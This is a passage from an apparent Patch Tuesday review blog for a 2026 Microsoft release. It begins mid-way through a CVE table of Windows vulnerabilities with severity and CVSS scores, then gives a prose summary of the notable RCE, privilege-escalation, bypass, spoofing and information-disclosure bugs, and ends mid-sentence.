Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center 